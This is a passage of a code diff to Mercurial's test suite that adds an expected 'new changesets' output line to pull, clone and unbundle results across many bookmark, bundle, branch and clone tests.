   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   updating to active bookmark Y
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -723,6 +728,7 @@
   added 2 changesets with 2 changes to 2 files (+1 heads)
   updating bookmark Y
   updating bookmark Z
+  new changesets 125c9a1d6df6:9ba5f110a0b3
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R ../cloned-bookmarks-manual-update-with-divergence update
   updating to active bookmark Y
@@ -907,6 +913,7 @@
   adding remote bookmark foo
   adding remote bookmark four
   adding remote bookmark should-end-on-two
+  new changesets 5fb12f0f2d51
   0 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R ../cloned-bookmarks-update parents -T "{rev}:{node|short}\n"
   3:125c9a1d6df6
@@ -930,6 +937,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   divergent bookmark Z stored as Z@default
+  new changesets 81dcce76aa0b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   updating bookmark Y
   $ hg -R ../cloned-bookmarks-update parents -T "{rev}:{node|short}\n"
diff --git a/tests/test-branch-option.t b/tests/test-branch-option.t
--- a/tests/test-branch-option.t
+++ b/tests/test-branch-option.t
@@ -23,6 +23,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 5b65ba7c951d
   updating to branch a
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd branch2
@@ -101,6 +102,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets 5b65ba7c951d:65511d0e2b55
   updating to branch b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -q -R branch3 heads b
@@ -117,6 +119,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files (+1 heads)
+  new changesets 5b65ba7c951d:65511d0e2b55
   updating to branch a
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -q -R branch3 heads b
diff --git a/tests/test-branches.t b/tests/test-branches.t
--- a/tests/test-branches.t
+++ b/tests/test-branches.t
@@ -93,6 +93,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 2 files
+  new changesets f0e4c7f04036:33c2ceb9310b
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
   $ hg update '"colon:test"'
diff --git a/tests/test-bundle-r.t b/tests/test-bundle-r.t
--- a/tests/test-bundle-r.t
+++ b/tests/test-bundle-r.t
@@ -5,6 +5,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg up tip
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -26,6 +27,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets bfaf4b5cbf01
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -39,6 +41,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:21f32785131f
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -52,6 +55,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:4ce51a113780
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -65,6 +69,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets bfaf4b5cbf01:93ee6ab32777
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -78,6 +83,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets bfaf4b5cbf01:c70afb1ee985
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -91,6 +97,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets bfaf4b5cbf01:f03ae5a9b979
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -104,6 +111,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:095cb14b1b4d
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -117,6 +125,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets bfaf4b5cbf01:faa2e4234c7a
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -130,6 +139,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets bfaf4b5cbf01:916f1afdef90
   (run 'hg update' to get a working copy)
   checking changesets
   checking manifests
@@ -145,6 +155,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -223,6 +234,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 4 changes to 4 files (+1 heads)
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 revision 8
@@ -247,6 +259,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
 
 revision 4
@@ -266,6 +279,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 3 changes to 3 files (+1 heads)
+  new changesets c70afb1ee985:faa2e4234c7a
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 revision 6
@@ -285,6 +299,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files
+  new changesets 93ee6ab32777:916f1afdef90
   (run 'hg update' to get a working copy)
 
 revision 4
@@ -318,6 +333,7 @@
   adding manifests
   adding file changes
   added 7 changesets with 4 changes to 4 files
+  new changesets 93ee6ab32777:03fc0b0e347c
   (run 'hg update' to get a working copy)
 
 revision 9
diff --git a/tests/test-bundle-type.t b/tests/test-bundle-type.t
--- a/tests/test-bundle-type.t
+++ b/tests/test-bundle-type.t
@@ -26,6 +26,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets c35a0f9217e6
   (run 'hg update' to get a working copy)
   $ hg up
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
diff --git a/tests/test-bundle-vs-outgoing.t b/tests/test-bundle-vs-outgoing.t
--- a/tests/test-bundle-vs-outgoing.t
+++ b/tests/test-bundle-vs-outgoing.t
@@ -106,6 +106,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets 6ae4cca4e39a:478f191e53f8
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-bundle.t b/tests/test-bundle.t
--- a/tests/test-bundle.t
+++ b/tests/test-bundle.t
@@ -104,6 +104,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Rollback empty
@@ -120,6 +121,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Pull full.hg into test (using -R)
@@ -150,6 +152,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
 Log -R full.hg in fresh empty
@@ -232,6 +235,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f9ee2f85a263049e9ae6d37a0e67e96194ffb735 HG_NODE_LAST=aa35859c02ea8bd48da5da68cd2740ac71afcbaf HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=bundle*../full.hg (glob)
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -255,6 +259,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f9ee2f85a263049e9ae6d37a0e67e96194ffb735 HG_NODE_LAST=aa35859c02ea8bd48da5da68cd2740ac71afcbaf HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=bundle:empty+full.hg
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
@@ -387,6 +392,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets f9ee2f85a263:eebf5a27f8ca
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg clone partial partial2
@@ -541,6 +547,7 @@
   adding manifests
   adding file changes
   added 9 changesets with 7 changes to 4 files (+1 heads)
+  new changesets f9ee2f85a263:aa35859c02ea
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg -R full-clone heads
@@ -580,10 +587,12 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f9ee2f85a263
   adding changesets
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 34c2bf6b0626
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
 View full contents of the bundle
diff --git a/tests/test-bundle2-exchange.t b/tests/test-bundle2-exchange.t
--- a/tests/test-bundle2-exchange.t
+++ b/tests/test-bundle2-exchange.t
@@ -49,6 +49,7 @@
   adding file changes
   added 8 changesets with 7 changes to 7 files (+3 heads)
   pre-close-tip:02de42196ebe draft 
+  new changesets cd010b8cd998:02de42196ebe
   postclose-tip:02de42196ebe draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NODE=cd010b8cd998f3981a5a8115f94f8da4ab506089 HG_NODE_LAST=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_PHASES_MOVED=1 HG_SOURCE=unbundle HG_TXNID=TXN:$ID$ HG_TXNNAME=unbundle
   bundle:*/tests/bundles/rebase.hg HG_URL=bundle:*/tests/bundles/rebase.hg (glob)
@@ -83,6 +84,7 @@
   added 2 changesets with 2 changes to 2 files
   1 new obsolescence markers
   pre-close-tip:9520eea781bc draft 
+  new changesets cd010b8cd998:9520eea781bc
   postclose-tip:9520eea781bc draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=cd010b8cd998f3981a5a8115f94f8da4ab506089 HG_NODE_LAST=9520eea781bcca16c1e15acc0ba14335a0e8e5ba HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   file:/*/$TESTTMP/main HG_URL=file:$TESTTMP/main (glob)
@@ -111,6 +113,7 @@
   added 1 changesets with 1 changes to 1 files (+1 heads)
   1 new obsolescence markers
   pre-close-tip:24b6387c8c8c draft 
+  new changesets 24b6387c8c8c
   postclose-tip:24b6387c8c8c draft 
   txnclose hook: HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=24b6387c8c8cae37178880f3fa95ded3cb1cf785 HG_NODE_LAST=24b6387c8c8cae37178880f3fa95ded3cb1cf785 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   file:/*/$TESTTMP/main HG_URL=file:$TESTTMP/main (glob)
@@ -288,6 +291,7 @@
   1 new obsolescence markers
   updating bookmark book_02de
   pre-close-tip:02de42196ebe draft book_02de
+  new changesets 02de42196ebe
   postclose-tip:02de42196ebe draft book_02de
   txnclose hook: HG_BOOKMARK_MOVED=1 HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_NODE_LAST=02de42196ebee42ef284b6780a87cdc96e8eaab6 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   ssh://user@dummy/main HG_URL=ssh://user@dummy/main
@@ -313,6 +317,7 @@
   1 new obsolescence markers
   updating bookmark book_42cc
   pre-close-tip:42ccdea3bb16 draft book_42cc
+  new changesets 42ccdea3bb16
   postclose-tip:42ccdea3bb16 draft book_42cc
   txnclose hook: HG_BOOKMARK_MOVED=1 HG_HOOKNAME=txnclose.env HG_HOOKTYPE=txnclose HG_NEW_OBSMARKERS=1 HG_NODE=42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 HG_NODE_LAST=42ccdea3bb16d28e1848c95fe2e44c000f3f21b1 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_TXNNAME=pull
   http://localhost:$HGPORT/ HG_URL=http://localhost:$HGPORT/
@@ -998,6 +1003,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1079,6 +1085,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
@@ -1105,6 +1112,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ cd bundle2-only
diff --git a/tests/test-bundle2-format.t b/tests/test-bundle2-format.t
--- a/tests/test-bundle2-format.t
+++ b/tests/test-bundle2-format.t
@@ -835,6 +835,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+3 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg log -G
diff --git a/tests/test-bundle2-multiple-changegroups.t b/tests/test-bundle2-multiple-changegroups.t
--- a/tests/test-bundle2-multiple-changegroups.t
+++ b/tests/test-bundle2-multiple-changegroups.t
@@ -88,6 +88,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_NODE_LAST=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets 27547f69f254:f838bfaca5c7
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_NODE_LAST=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=27547f69f25460a52fff66ad004e58da7ad3fb56 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_NODE_LAST=f838bfaca5c7226600ebcfd84f3c3c13a28d3757 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
@@ -158,6 +159,7 @@
   adding file changes
   added 3 changesets with 3 changes to 3 files (+1 heads)
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=7f219660301fe4c8a116f714df5e769695cc2b46 HG_NODE_LAST=5cd59d311f6508b8e0ed28a266756c859419c9f1 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets b3325c91a4d9:5cd59d311f65
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e HG_NODE_LAST=8a5212ebc8527f9fb821601504794e3eb11a1ed3 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=b3325c91a4d916bcc4cdc83ea3fe4ece46a42f6e HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=8a5212ebc8527f9fb821601504794e3eb11a1ed3 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
@@ -231,6 +233,7 @@
   adding file changes
   added 1 changesets with 1 changes to 1 files
   pretxnchangegroup hook: HG_HOOKNAME=pretxnchangegroup HG_HOOKTYPE=pretxnchangegroup HG_NODE=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_NODE_LAST=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_PENDING=$TESTTMP/clone HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
+  new changesets 71bd7b46de72:9d18e5bd9ab0
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_NODE_LAST=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   incoming hook: HG_HOOKNAME=incoming HG_HOOKTYPE=incoming HG_NODE=71bd7b46de72e69a32455bf88d04757d542e6cf4 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
   changegroup hook: HG_HOOKNAME=changegroup HG_HOOKTYPE=changegroup HG_NODE=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_NODE_LAST=9d18e5bd9ab09337802595d49f1dad0c98df4d84 HG_PHASES_MOVED=1 HG_SOURCE=pull HG_TXNID=TXN:$ID$ HG_URL=file:$TESTTMP/repo
diff --git a/tests/test-bundle2-remote-changegroup.t b/tests/test-bundle2-remote-changegroup.t
--- a/tests/test-bundle2-remote-changegroup.t
+++ b/tests/test-bundle2-remote-changegroup.t
@@ -91,6 +91,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
 
   $ hg -R repo log -G
@@ -131,6 +132,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 5 files (+1 heads)
+  new changesets cd010b8cd998:9520eea781bc
   updating to branch default
   4 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -141,6 +143,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 24b6387c8c8c:02de42196ebe
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -174,6 +177,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -189,6 +193,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -222,6 +227,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -237,6 +243,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -273,6 +280,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ hg pull -R clone ssh://user@dummy/repo
@@ -293,6 +301,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files (+1 heads)
+  new changesets 32af7686d403:02de42196ebe
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg -R clone log -G
   o  7:02de42196ebe public Nicolas Dumazet <nicdumz.commits@gmail.com>  H
@@ -328,6 +337,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -342,6 +352,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -376,6 +387,7 @@
   adding manifests
   adding file changes
   added 8 changesets with 7 changes to 7 files (+2 heads)
+  new changesets cd010b8cd998:02de42196ebe
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf clone
@@ -421,6 +433,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files
+  new changesets cd010b8cd998:5fddd98957c8
   updating to branch default
   3 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-censor.t b/tests/test-censor.t
--- a/tests/test-censor.t
+++ b/tests/test-censor.t
@@ -359,6 +359,7 @@
   adding manifests
   adding file changes
   added 11 changesets with 11 changes to 2 files (+1 heads)
+  new changesets 186fb27560c3:683e4645fded
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg update 4
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -423,6 +424,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 2 files (+1 heads)
+  new changesets 075be80ac777:dcbaf17bf3a1
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg cat -r $REV target
   $ hg cat -r $CLEANREV target
@@ -450,12 +452,14 @@
   adding manifests
   adding file changes
   added 8 changesets with 10 changes to 2 files (+1 heads)
+  new changesets e97f55b2665a:dcbaf17bf3a1
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg unbundle splitbundle
   adding changesets
   adding manifests
   adding file changes
   added 6 changesets with 5 changes to 2 files (+1 heads)
+  new changesets efbe78065929:683e4645fded
   (run 'hg heads .' to see heads, 'hg merge' to merge)
   $ hg update $H2
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
@@ -481,5 +485,6 @@
   adding manifests
   adding file changes
   added 1 changesets with 2 changes to 2 files
+  new changesets e97f55b2665a
   (run 'hg update' to get a working copy)
   $ hg cat -r 0 target
diff --git a/tests/test-clone-pull-corruption.t b/tests/test-clone-pull-corruption.t
--- a/tests/test-clone-pull-corruption.t
+++ b/tests/test-clone-pull-corruption.t
@@ -37,6 +37,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 52998019f625
   (run 'hg update' to get a working copy)
 
 see what happened
diff --git a/tests/test-clone-r.t b/tests/test-clone-r.t
--- a/tests/test-clone-r.t
+++ b/tests/test-clone-r.t
@@ -89,6 +89,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets f9ee2f85a263
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -102,6 +103,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets f9ee2f85a263:34c2bf6b0626
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -115,6 +117,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets f9ee2f85a263:e38ba6f5b7e0
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -128,6 +131,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 4 changes to 1 files
+  new changesets f9ee2f85a263:eebf5a27f8ca
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -141,6 +145,7 @@
   adding manifests
   adding file changes
   added 2 changesets with 2 changes to 1 files
+  new changesets f9ee2f85a263:095197eb4973
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -154,6 +159,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 1 files
+  new changesets f9ee2f85a263:1bb50a9436a7
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -167,6 +173,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 5 changes to 2 files
+  new changesets f9ee2f85a263:7373c1169842
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -180,6 +187,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 6 changes to 3 files
+  new changesets f9ee2f85a263:a6a34bfa0076
   updating to branch default
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -193,6 +201,7 @@
   adding manifests
   adding file changes
   added 5 changesets with 5 changes to 2 files
+  new changesets f9ee2f85a263:aa35859c02ea
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   checking changesets
@@ -209,6 +218,7 @@
   adding manifests
   adding file changes
   added 4 changesets with 2 changes to 3 files (+1 heads)
+  new changesets 095197eb4973:a6a34bfa0076
   (run 'hg heads' to see heads, 'hg merge' to merge)
   $ hg verify
   checking changesets
@@ -237,6 +247,7 @@
   adding manifests
   adding file changes
   added 6 changesets with 6 changes to 3 files
+  new changesets f9ee2f85a263:7100abb79635
   updating to branch foobar
   2 files updated, 0 files merged, 0 files removed, 0 files unresolved
 
diff --git a/tests/test-clone-uncompressed.t b/tests/test-clone-uncompressed.t
--- a/tests/test-clone-uncompressed.t
+++ b/tests/test-clone-uncompressed.t
@@ -68,6 +68,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
   $ killdaemons.py
 
@@ -100,6 +101,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
   $ killdaemons.py
 
@@ -129,6 +131,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets 96ee1d7354c4
 
 Stream clone while repo is changing:
 
diff --git a/tests/test-clone-update-order.t b/tests/test-clone-update-order.t
--- a/tests/test-clone-update-order.t
+++ b/tests/test-clone-update-order.t
@@ -29,6 +29,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   $ rm -rf ../b
 
   $ hg clone -u . .#other ../b -r 0 -r 1 -r 2 -b other
@@ -36,6 +37,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch mine
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -45,6 +47,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -54,6 +57,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch mine
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -63,6 +67,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -74,6 +79,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -83,6 +89,7 @@
   adding manifests
   adding file changes
   added 3 changesets with 3 changes to 3 files (+2 heads)
+  new changesets 8c68ee086fd0:fcc393352796
   updating to branch default
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
@@ -92,6 +99,7 @@
   adding manifests
   adding file changes
   added 1 changesets with 1 changes to 1 files
+  new changesets fcc393352796
   updating to branch other
   1 files updated, 0 files merged, 0 files removed, 0 files unresolved
   $ rm -rf ../b
diff --git a/tests/test-clone.t b/tests/test-clone.t
